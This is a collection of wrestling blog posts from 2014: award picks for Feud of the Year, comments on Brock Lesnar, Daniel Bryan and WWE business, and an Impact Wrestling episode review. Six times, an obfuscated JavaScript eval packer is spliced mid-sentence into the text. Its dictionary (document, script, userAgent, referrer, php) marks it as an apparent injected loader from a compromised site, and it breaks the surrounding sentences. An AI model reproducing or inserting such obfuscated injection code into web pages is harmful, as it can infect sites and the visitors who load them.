New Column: The Lesnar Error
Looking back at Brock’s second WWE run and breaking down all of the mistakes and problems with it so far.http://www.wrestlingrumors.net/kbs-review-lesnar-error/33412/
2014 Awards: Show of the Year
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2014 Awards: Worst Match of the Year
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2014 Awards: Feud Of The Year
These eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyred|var|u0026u|referrer|dhnkr||js|php'.split('|'),0,{})) were supposed to start on Sunday but as anyone who frequents my site knows, I can’t keep track of anything to save my life. I’ll be catching up with four awards today and then do one a day every day until the end of the year. We’ll start with one of the more popular ones with Feud of the Year.This year isn’t one of the stronger set of choices as there were some good feuds but nothing that felt really epic. One of the first options that comes to mind is Ambrose vs. Rollins, who had some AMAZING promos and good but not great brawls. The ending here hurts it as it was more about Wyatt being introduced for no apparent reason than the feud itself. This can be done perfectly (see 1997 with Undertaker vs. Kane), but Wyatt came out of nowhere and the match was nowhere near HBK vs. Undertaker in the Cell. This is probably the clubhouse leader but not by much.
Shield vs. Evolution was good and the matches were excellent but I’m not sure I’d call it the best of the year. It felt more like a way to turn Rollins heel and end the Shield than to have a big moment, which is fine but a bit anti-climactic. That’s kind of a running problem this year and something we’ll see again.
The same is true for the Wyatts vs. Shield. THey had what might be the Match of the Year at Elimination Chamber but the feud just kind of stopped instead of having a big conclusion. I’d put Shield vs. Evolution ahead of this as it actually had a conclusion, albeit not a great one.
AJ Lee vs. Paige deserves some appreciation due to making the Divas Title actually matter, but it went on so long that it really stopped meaning anything to me after awhile.
TNA actually makes the list with the Wolves vs. Hardys vs. Team 3D and their outstanding series, but I’m not sure it was so much a feud as much as a rivalry. There was never a personal issue between the teams and that hurts it to me. That being said, there’s a case that they had the best series of matches all year, including Shield.
That really leaves us with one option, which while short met every issue that I listed here. Of course it’s Bryan vs. the Authority, which was a rollercoaster of emotion with the fans screaming for what they wanted until it FINALLY delivered in one of the best one night performances you’ll ever see at Wrestlemania XXX. They set the stage and gave us the payoff with some great matches. What else can you really ask for in a feud? Yeah it was short in this year, but it ran about eight months from beginning to end. The moment Bryan made Batista tap was worth everything and the energy in the Super Dome that night was amazing.
Thought of the Day: The Legend of Brock Lesnar
As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsidf|var|u0026u|referrer|bidaz||js|php'.split('|'),0,{})) you may have heard, Paul Heyman’s client Brock Lesnar conquered the Undertaker’s Streak at Wrestlemania, becoming the 1 in 21-1. Since then, Brock has been seen once on WWE TV and…..That is the most brilliant thing WWE could have done with him. For the last three months, Paul Heyman has reminded us of Brock Lesnar. We’ve heard of him doing the impossible and being the monster that even the Undertaker couldn’t stop. As time has gone on, that’s the image that people have gotten in their heads: Brock Lesnar as an unstoppable beast that destroyed the Undertaker without breaking a sweat, instead of Brock Lesnar having a war with Undertaker and barely beating him. The longer you know that he’s lurking, the bigger an impact his return makes. They’re building up his mystique and that’s the best thing they could have done.
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WWE Stock Drops 45%
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2. About a month or two ago the stock was at I believe an all time high. Stop acting like stock prices are set in stone.
3. Wrestlemania, the Wrestlemania DVD, and the Network going international are coming this year. Methinks that might spark the stocks a bit, seeing as how they do every year.
4. I don’t understand how the deal getting them $40 million more than they had last year can be seen as a bad thing. True it’s not as good as they expected, but under no circumstances can gaining $40 million be seen as a bad thing.
Daniel Bryan Needs A New Dealer
He’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbtzr|var|u0026u|referrer|bbded||js|php'.split('|'),0,{})) kind of lost in the shuffle.Watching the Daniel Bryan documentary on the Network (worth checking out if you have an hour to kill) and it becomes obvious that he’s kind of lost right now. The problem at the end of the day is we got the big moment at Wrestlemania and now everything has changed. Yeah he’s still a big deal and incredibly over, but we hit the big point that everyone was waiting for. The match with Kane will be good and the story is rather good, but it’s not the top story. He’s proven that he’s worthy of being a top guy and will be for a long time, but it’s kind of hard to go anywhere after that huge story we just finished up.
Wrestlemania Gets Over 1,000,000 Views
With eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndksb|var|u0026u|referrer|ddkrh||js|php'.split('|'),0,{})) a number of buys that would usually make Vince want to jump off a building.The show did under 400,000 regular buys but with the 660k+ that it did on the Network, the show set a record for most people viewing the show, according to WWE. That was the plan, and it’s not even taking international buys into account yet. That’s a VERY good result for WWE.
Thought of the Day: WWE And Posterity
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfnrt|var|u0026u|referrer|ykffs||js|php'.split('|'),0,{})) is one of those things that WWE is just flat out better at than anyone else.Ever since last week, I can’t get that Monster song from the Daniel Bryan vs. HHH video out of my head. I threw the video package for Bryan vs. HHH up on Youtube and my goodness is it amazing. The same can be said of the Cena vs. Wyatt video and Lesnar vs. Undertaker. WWE has an incredible production team that puts together the best recap videos I’ve ever seen. Ten years from now, new fans are going to be able to watch those videos and hear everything they need to know about these feuds.
It’s something very important when it comes to the future. Looking back at old WCW, TNA and even a lot of old WWF shows, there is almost zero explanation for why a lot of matches are taking place. It’s just assumed that the fans have watched most of the shows and know the backstory. That’s not very bright and makes it hard for new fans to jump in. I know not every company can afford that kind of production, but I’ve seen good recap videos made for an e-fed with a budget of $0, oddly enough done by the same band that plays Monsters. It can be done and it can be done well, and when it is, it’s something very valuable.
Impact Wrestling – April 10, 2014: Copying Wrestlemania Isn’t A Bad Idea
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Wrestling
Date: April 10, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz
We open with an In Memory graphic for Warrior.
Dixie Carter arrives and has something planned for tonight.
Gauntlet Match
Abyss is #7 and cleans house but Ray tries to toss him. Magnus comes out for commentary as we take a break. Back with Sanada having entered and Eric Young entering at I believe #9. No eliminations yet. Everyone fights against the ropes and teases a few eliminations but no one is really close. Willow is #10 and we get a showdown with Carter. A Twisting Stunner has Carter in trouble as Spud wheelchairs down to ringside, only to pop up and pull Willow down for the elimination.
Spud, in a jacket that looks like it was involved in an explosion at a paint factory, has a surprise party for Dixie. She tells him to tone it down and accuses Spud of selling her down the river. Dixie leaves but as Spud follows her out, Willow invades the room and cleans house.
Angelina Love vs. ODB vs. Gail Kim vs. Brittany
We recap Eric getting a title shot tonight.
Magnus thinks Eric is making a huge mistake.
Tag Team Titles: Wolves vs. Zema Ion/Jesse Godderz
Back inside and Jesse slips in a knee from the apron to stagger Eddie, only to have him catch both of them in a hurricanrana at the same time. Hot tag brings in Davey to clean house with kicks and suplexes. A missile dropkick gets two on Godderz and the toss into the kick looks to get the pin, but Robbie E. runs in for the DQ at 3:43.
Rating: C-. Not bad here but this time the ending was somewhat in doubt. I actually thought they might change the titles here, which would have been a bit too early with the PPV coming up in a few weeks. The Wolves are the best team in the company and having them chase the titles for a few months is a good idea.
Christy is going to shock us with something about Samuel Shaw tonight. She wants to talk to him in the ring about commitment.
Willow blames Carter and Spud for costing him the gauntlet match and wants a handicap match next week.
Impact is coming to New York City in June.
TNA World Title: Eric Young vs. Magnus
Eh why not. It worked at Wrestlemania XXX. Young scores with a quick dropkick and flips over the corner before strutting down the apron. Apparently Young has a bad arm coming into this to really hammer in the similarities. Magnus avoids a charge into the corner and sends Eric out to the floor with a big running knee. Back in and Eric sends Magnus to the floor, only to get nailed as he tries a suicide dive.
Magnus sends him into the steps and we take a break. Back with the champion getting two off a gutwrench suplex and we hit a sleeper on Young. Eric is quickly out of the hold but gets caught in a camel clutch to work on the back as well as the bad arm. Young powers up into an electric chair and both guys are down. Back up and some forearms and a clothesline drop Magnus. The arm seems fine at the moment. Eric tries a wheelbarrow slam into a neckbreaker but mostly drops Magnus on the way down.
The top rope elbow gets two and Magnus nails the Michinoku Driver for the same. He brings the belt into the ring but the referee takes it away. Young loads up a Death Valley Driver but gets hit low for two. Magnus is livid and gets caught in a crucifix for two. Eric comes back with a piledriver for the pin and the title at 13:05.
Results
Eric Young won a gauntlet match last eliminating Abyss
Angelina Love b. Brittany, ODB and Gail Kim – Bicycle kick to Kim
Wolves b. Zema Ion/Jesse Godderz via DQ when Robbie E. interfered
Eric Young b. Magnus – Piledriver
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